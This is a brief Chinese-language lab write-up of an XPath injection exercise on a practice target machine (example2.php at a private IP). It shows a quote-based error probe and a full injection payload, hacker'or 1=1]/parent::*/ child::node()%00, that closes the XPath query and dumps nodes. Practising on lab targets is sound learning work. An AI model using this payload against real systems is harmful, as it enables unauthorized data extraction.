我们打开靶机

选择“example 2”

观察页面

我们尝试修改name参数

http://192.168.20.157/xml/example2.php?name=hacker%27

添加单引号报错

存在闭合的可能性

网上大神payload

为

hacker'or 1=1]/parent::*/ child::node()%00

完整的payload为

http://192.168.20.157/xml/example2.php?name=hacker%27or%201=1]/parent::*/%20child::node()%00

结果

我们打开靶机

观察源码

上面的payload闭合了xpath参数